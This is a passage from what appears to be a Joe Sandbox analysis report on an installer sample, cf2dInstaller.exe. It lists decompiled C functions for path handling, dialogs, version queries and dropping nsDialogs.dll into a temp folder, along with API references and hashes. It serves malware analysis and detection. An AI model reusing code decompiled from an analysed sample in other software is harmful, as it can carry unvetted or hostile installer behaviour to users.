				long _t32;
				CHAR* _t33;
				int _t34;

				_t33 = _a4;
				_t31 =  *(CharPrevA(_t33,  &(_t33[lstrlenA(_t33)])));
				_t34 = E02F91E6C(_t33);
				if(_t31 != 0x25) {
					if(_t31 != 0x75) {
						if(_t34 >= 0) {
							return _t34;
						}
						return _a8 + _t34;
					}
					_v20.bottom = _v20.bottom & 0x00000000;
					_v20.right = _v20.right & 0x00000000;
					_v20.top = _t34;
					_v20.left = _t34;
					MapDialogRect( *0x2f950c4,  &_v20);
					if(_a12 == 0) {
						if(_t34 < 0) {
							_t32 = _v20.left;
							L12:
							return _a8 + _t32;
						}
						return _v20.left;
					}
					if(_t34 < 0) {
						_t32 = _v20.top;
						goto L12;
					}
					return _v20.top;
				}
				_push(0x64);
				if(_t34 < 0) {
					_t34 = _t34 + 0x64;
				}
				return MulDiv(_a8, _t34, ??);
			}

0x02f91331
0x02f91345
0x02f91350
0x02f91352
0x02f9136c
0x02f913b5
0x00000000
0x02f913be
0x00000000
0x02f913ba
0x02f9136e
0x02f91372
0x02f91379
0x02f9137d
0x02f91386
0x02f91390
0x02f913a2
0x02f913a9
0x02f913ac
0x00000000
0x02f913af
0x00000000
0x02f913a4
0x02f91394
0x02f9139b
0x00000000
0x02f9139b
0x00000000
0x02f91396
0x02f91356
0x02f91358
0x02f9135a
0x02f9135a
0x00000000

APIs

lstrlenA.KERNEL32(75144F20,00000400,?,00000400,?,75144F20,00000000), ref: 02F91335
CharPrevA.USER32(75144F20,00000000,?,75144F20,00000000), ref: 02F9133F
MulDiv.KERNEL32(?,00000000,00000064), ref: 02F91361
MapDialogRect.USER32 ref: 02F91386

Memory Dump Source

Source File: 00000003.00000002.506402521.0000000002F91000.00000020.00020000.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000003.00000002.506388642.0000000002F90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506417970.0000000002F93000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506430439.0000000002F94000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.506443752.0000000002F97000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2f90000_cf2dInstaller.jbxd

Similarity

API ID: CharDialogPrevRectlstrlen
String ID:
API String ID: 3411278111-0
Opcode ID: 1eab0d6b363063dca9ca5d2edf3a68836d2320e0a80b16aad13e26411d5ed8f9
Instruction ID: e68c41bffee0ded44a0692132d22811fc93a96db4506dfa28c095dacaef01dda
Opcode Fuzzy Hash: 1eab0d6b363063dca9ca5d2edf3a68836d2320e0a80b16aad13e26411d5ed8f9
Instruction Fuzzy Hash: D1115E36E4162AEBEF218B54CC05FAFBBB9AF017D9F004561EE19A7651C3309910CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5, Relevance: 6.1, APIs: 4, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401EC5(char __ebx, char* __edi, char* __esi) {
				char* _t18;
				int _t19;
				void* _t30;

				_t18 = E004029F6(0xffffffee);
				 *(_t30 - 0x2c) = _t18;
				_t19 = GetFileVersionInfoSizeA(_t18, _t30 - 0x30);
				 *__esi = __ebx;
				 *(_t30 - 8) = _t19;
				 *__edi = __ebx;
				 *((intOrPtr*)(_t30 - 4)) = 1;
				if(_t19 != __ebx) {
					__eax = GlobalAlloc(0x40, __eax);
					 *(__ebp + 8) = __eax;
					if(__eax != __ebx) {
						if(__eax != 0) {
							__ebp - 0x44 = __ebp - 0x34;
							if(VerQueryValueA( *(__ebp + 8), 0x409010, __ebp - 0x34, __ebp - 0x44) != 0) {
								 *(__ebp - 0x34) = E0040596A(__esi,  *((intOrPtr*)( *(__ebp - 0x34) + 8)));
								 *(__ebp - 0x34) = E0040596A(__edi,  *((intOrPtr*)( *(__ebp - 0x34) + 0xc)));
								 *((intOrPtr*)(__ebp - 4)) = __ebx;
							}
						}
						_push( *(__ebp + 8));
						GlobalFree();
					}
				}
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x00401ec7
0x00401ecf
0x00401ed4
0x00401ed9
0x00401edd
0x00401ee0
0x00401ee2
0x00401ee9
0x00401ef2
0x00401efa
0x00401efd
0x00401f12
0x00401f18
0x00401f2b
0x00401f34
0x00401f40
0x00401f45
0x00401f45
0x00401f2b
0x00401f48
0x00401b75
0x00401b75
0x00401efd
0x0040288e
0x0040289a

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401ED4
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401EF2
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F0B
VerQueryValueA.VERSION(?,00409010,?,?,?,?,?,00000000), ref: 00401F24

Part of subcall function 0040596A: wsprintfA.USER32 ref: 00405977

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 099a0aa409c47306a0e5e8436e4e2e7c61bc24b53b401cebe12c2d8cce08dfb0
Instruction ID: ac83c8b0d38e5b491d5bd27050ffdb4091974a4b49ad9b19d675067d3fb65d11
Opcode Fuzzy Hash: 099a0aa409c47306a0e5e8436e4e2e7c61bc24b53b401cebe12c2d8cce08dfb0
Instruction Fuzzy Hash: 201148B2900108BFDB01EFA5D981DAEBBB9EF04344B24807AF505F61E1D7389A54DB28

Uniqueness

Uniqueness Score: -1.00%

Function 02F913FB, Relevance: 6.0, APIs: 4, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E02F913FB(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t20;

				if(_a8 != 0x408 || _a12 != 0xffffffff) {
					L4:
					_t20 = CallWindowProcA( *0x2f950c8, _a4, _a8, _a12, _a16);
					if(_a8 == 0x408 && _t20 == 0) {
						DestroyWindow( *0x2f950c0);
						HeapFree(GetProcessHeap(), _t20,  *0x2f950d8);
						 *0x2f950c0 =  *0x2f950c0 & _t20;
						 *0x2f950d8 =  *0x2f950d8 & _t20;
					}
					return _t20;
				} else {
					_push(0);
					_push( *0x2f950d0 - 1);
					if( *((intOrPtr*)( *0x2f950a0 + 4))() == 0) {
						goto L4;
					}
					return 0;
				}
			}

0x02f91407
0x02f91428
0x02f91444
0x02f91446
0x02f91452
0x02f91466
0x02f9146c
0x02f91472
0x02f91472
0x00000000
0x02f9140f
0x02f91414
0x02f91417
0x02f91422
0x00000000
0x00000000
0x00000000
0x02f91424

APIs

CallWindowProcA.USER32 ref: 02F9143B
DestroyWindow.USER32 ref: 02F91452
GetProcessHeap.KERNEL32(00000000), ref: 02F9145F
HeapFree.KERNEL32(00000000), ref: 02F91466

Memory Dump Source

Source File: 00000003.00000002.506402521.0000000002F91000.00000020.00020000.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000003.00000002.506388642.0000000002F90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506417970.0000000002F93000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506430439.0000000002F94000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.506443752.0000000002F97000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2f90000_cf2dInstaller.jbxd

Similarity

API ID: HeapWindow$CallDestroyFreeProcProcess
String ID:
API String ID: 1278960361-0
Opcode ID: c8f9bcd9a29025299bb0864c1f3a9fea93b543d5a34e32ee78e3620800c05334
Instruction ID: fd85c3cd02798d959a61cab02b4acefae825462cc5f34197de3b97a13ee94758
Opcode Fuzzy Hash: c8f9bcd9a29025299bb0864c1f3a9fea93b543d5a34e32ee78e3620800c05334
Instruction Fuzzy Hash: B2011632D4020BEBDF125F59ED04B6AB765FB4ABE2B504925F65981060C7318474DF61

Uniqueness

Uniqueness Score: -1.00%

Function 00405593, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405593(char _a4) {
				CHAR* _t3;
				char* _t5;
				CHAR* _t7;
				CHAR* _t8;
				void* _t10;

				_t1 =  &_a4; // 0x405345
				_t8 =  *_t1;
				_t7 = CharNextA(_t8);
				_t3 = CharNextA(_t7);
				if( *_t8 == 0 ||  *_t7 != 0x5c3a) {
					if( *_t8 != 0x5c5c) {
						L8:
						return 0;
					}
					_t10 = 2;
					while(1) {
						_t10 = _t10 - 1;
						_t5 = E0040552A(_t3, 0x5c);
						if( *_t5 == 0) {
							goto L8;
						}
						_t3 = _t5 + 1;
						if(_t10 != 0) {
							continue;
						}
						return _t3;
					}
					goto L8;
				} else {
					return CharNextA(_t3);
				}
			}

0x0040559c
0x0040559c
0x004055a3
0x004055a6
0x004055ab
0x004055be
0x004055d8
0x00000000
0x004055d8
0x004055c2
0x004055c3
0x004055c6
0x004055c7
0x004055cf
0x00000000
0x00000000
0x004055d1
0x004055d4
0x00000000
0x00000000
0x00000000
0x004055d4
0x00000000
0x004055b4
0x00000000
0x004055b5

APIs

CharNextA.USER32(ES@,?,0042B3E8,00000000,004055F7,0042B3E8,0042B3E8,?,?,00000000,00405345,?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000), ref: 004055A1
CharNextA.USER32(00000000), ref: 004055A6
CharNextA.USER32(00000000), ref: 004055B5

Strings

ES@, xrefs: 0040559C, 004055A0

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CharNext
String ID: ES@
API String ID: 3213498283-1851447614
Opcode ID: 68c7f773aafbecf3834176a21eebbfbca0b4bda0270daf5a8c718fc322178301
Instruction ID: f60ec20427defc95a9886ae099bd540e39d30c8fbbaad3333d1940da6ed1a81e
Opcode Fuzzy Hash: 68c7f773aafbecf3834176a21eebbfbca0b4bda0270daf5a8c718fc322178301
Instruction Fuzzy Hash: F8F0A7A2D44B25B6E73222A84C44B6B6BADDB55711F244437E200B61D597B84C828FBA

Uniqueness

Uniqueness Score: -1.00%

Function 00402BBE, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BBE(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x420b88; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x42eb6c;
						if(_t2 >  *0x42eb6c) {
							_t3 = CreateDialogParamA( *0x42eb60, 0x6f, 0, E00402B3B, 0);
							 *0x420b88 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00405D67(0);
					}
				} else {
					_t6 =  *0x420b88; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x420b88 = 0;
					return _t6;
				}
			}

0x00402bc5
0x00402bdf
0x00402be5
0x00402bef
0x00402bf5
0x00402bfb
0x00402c0c
0x00402c15
0x00000000
0x00402c1a
0x00402c21
0x00402be7
0x00402bee
0x00402bee
0x00402bc7
0x00402bc7
0x00402bce
0x00402bd1
0x00402bd1
0x00402bd7
0x00402bde
0x00402bde

APIs

DestroyWindow.USER32(00000000,00000000,00402D9E,00000001), ref: 00402BD1
GetTickCount.KERNEL32 ref: 00402BEF
CreateDialogParamA.USER32(0000006F,00000000,00402B3B,00000000), ref: 00402C0C
ShowWindow.USER32(00000000,00000005), ref: 00402C1A

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: c87a5157f8204693ca179b822d2a85440fc20d6be017f85e77c31dbe1d2c93c5
Instruction ID: df45f881ccb5ca36463c1a09230da8cf23750fca8468dec1cd15007da7f5e5e8
Opcode Fuzzy Hash: c87a5157f8204693ca179b822d2a85440fc20d6be017f85e77c31dbe1d2c93c5
Instruction Fuzzy Hash: 22F0F430A09120EBC6716F95FD4C99B7F64E704B157504437F001B55F5D67878829B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040381E, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040381E(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				intOrPtr _t15;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
				signed int _t26;
				intOrPtr* _t27;

				_t24 = "1033";
				_t13 = 0xffff;
				_t6 = E00405983(__ecx, "1033");
				while(1) {
					_t26 =  *0x42eba4; // 0x1
					if(_t26 == 0) {
						goto L7;
					}
					_t15 =  *0x42eb70; // 0x24c6020
					_t16 =  *(_t15 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x42eba0;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x42e340 = _t18[1];
					 *0x42ec08 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x42e33c = _t23;
						E0040596A(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextA( *0x429fb8, E00405A2E(_t13, _t24, _t26, 0x42e360, 0xfffffffe));
						_t11 =  *0x42eb8c; // 0x1
						_t27 =  *0x42eb88; // 0x24c638c
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t5 = _t27 + 0x18; // 0x24c63a4
								_t11 = E00405A2E(_t13, _t25, _t27, _t5, _t11);
							}
							_t27 = _t27 + 0x418;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}

0x00403822
0x00403827
0x0040382d
0x00403832
0x00403832
0x0040383a
0x00000000
0x00000000
0x0040383c
0x00403842
0x0040384a
0x0040384c
0x00403852
0x00403852
0x00403854
0x00403860
0x00000000
0x00000000
0x00403864
0x00000000
0x00000000
0x00000000
0x00403866
0x0040386b
0x00403874
0x0040387a
0x0040387f
0x00403893
0x0040389e
0x004038b6
0x004038bc
0x004038c1
0x004038c9
0x004038ea
0x004038ea
0x004038ea
0x004038cb
0x004038cd
0x004038cd
0x004038d1
0x004038d4
0x004038d8
0x004038d8
0x004038dd
0x004038e3
0x004038e3
0x00000000
0x004038cd
0x00403881
0x00403886
0x0040388f
0x00403888
0x00403888
0x00403888
0x00403886

APIs

SetWindowTextA.USER32(00000000,0042E360), ref: 004038B6

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040381F
1033, xrefs: 00403822, 0040382C, 0040389D

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: TextWindow
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 530164218-2030658151
Opcode ID: 54cba3151bdb836b7f04a6f3dbbe3676eed0e5b9ffc4346e82b5f0bc9fe969d0
Instruction ID: f58d08b88b77c55e92e539ad5181c9965f6bbcffbd0d008a8b371c472e4a47a6
Opcode Fuzzy Hash: 54cba3151bdb836b7f04a6f3dbbe3676eed0e5b9ffc4346e82b5f0bc9fe969d0
Instruction Fuzzy Hash: 9311D176B001009BC734EF56DC809737BADEB8471636881BFEC02A7390D639A8038A98

Uniqueness

Uniqueness Score: -1.00%

Function 004024BE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
filestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004024BE(struct _OVERLAPPED* __ebx, intOrPtr* __esi) {
				int _t5;
				long _t7;
				struct _OVERLAPPED* _t11;
				intOrPtr* _t15;
				void* _t17;
				int _t21;

				_t15 = __esi;
				_t11 = __ebx;
				if( *((intOrPtr*)(_t17 - 0x1c)) == __ebx) {
					_t7 = lstrlenA(E004029F6(0x11));
				} else {
					E004029D9(1);
					 *0x409f80 = __al;
				}
				if( *_t15 == _t11) {
					L8:
					 *((intOrPtr*)(_t17 - 4)) = 1;
				} else {
					_t5 = WriteFile(E00405983(_t17 + 8, _t15), "C:\Users\alfons\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll", _t7, _t17 + 8, _t11);
					_t21 = _t5;
					if(_t21 == 0) {
						goto L8;
					}
				}
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}

0x004024be
0x004024be
0x004024c1
0x004024dc
0x004024c3
0x004024c5
0x004024ca
0x004024d1
0x004024e3
0x0040265c
0x0040265c
0x004024e9
0x004024fb
0x004015a6
0x004015a8
0x00000000
0x004015ae
0x004015a8
0x0040288e
0x0040289a

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024DC
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll,00000000,?,?,00000000,00000011), ref: 004024FB

Strings

C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll, xrefs: 004024CA, 004024EF

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll
API String ID: 427699356-790453383
Opcode ID: 737d5f13839744d6a9d30165a229b9e08489258fe4ae5c83f7ff32dd2acb6c44
Instruction ID: 266b505f4b4a70e0031bd9b61304a7f29979de1156be46298b6644775383f0d6
Opcode Fuzzy Hash: 737d5f13839744d6a9d30165a229b9e08489258fe4ae5c83f7ff32dd2acb6c44
Instruction Fuzzy Hash: 70F0B4B2B04201AFDB00EBA19E49AAF36589B40348F14443BB142F50C2D6BC4941AB6D

Uniqueness

Uniqueness Score: -1.00%

Function 004034C0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004034C0() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x428f9c; // 0x7d4680
				_t3 = E004034A5(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x428f9c =  *0x428f9c & 0x00000000;
				return _t3;
			}

0x004034c1
0x004034c9
0x004034d0
0x004034d3
0x004034d3
0x004034d5
0x004034da
0x004034e1
0x004034e7
0x004034eb
0x004034ec
0x004034f4

APIs

FreeLibrary.KERNEL32(?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000,00000000,00403498,004032EB,00000000), ref: 004034DA
GlobalFree.KERNEL32 ref: 004034E1

Strings

"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\", xrefs: 004034D2

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: "C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\"
API String ID: 1100898210-3813692033
Opcode ID: 46acf84ebda6383aa3704241e203cd439e3c816428f1e63aa7a51627b246d5e2
Instruction ID: a7ab284cabc648ba81e11ba063b903b3b671d5f7e61a69f5101281db245b6d62
Opcode Fuzzy Hash: 46acf84ebda6383aa3704241e203cd439e3c816428f1e63aa7a51627b246d5e2
Instruction Fuzzy Hash: E1E08C329110209BD6221F05AE0575A7B6D6B44B32F02802AE9407B2A087746C424BDD

Uniqueness

Uniqueness Score: -1.00%

Function 00405546, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405546(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x00405547
0x00405551
0x00405553
0x0040555a
0x00405562
0x00000000
0x00000000
0x00000000
0x00405562
0x00405564
0x00405569

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\AppData\Local\temp,00402C8E,C:\Users\user\AppData\Local\temp,C:\Users\user\AppData\Local\temp,C:\Users\user\AppData\Local\temp\cf2dInstaller.exe,C:\Users\user\AppData\Local\temp\cf2dInstaller.exe,80000000,00000003), ref: 0040554C
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\AppData\Local\temp,00402C8E,C:\Users\user\AppData\Local\temp,C:\Users\user\AppData\Local\temp,C:\Users\user\AppData\Local\temp\cf2dInstaller.exe,C:\Users\user\AppData\Local\temp\cf2dInstaller.exe,80000000,00000003), ref: 0040555A

Strings

C:\Users\user\AppData\Local\temp, xrefs: 00405546

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
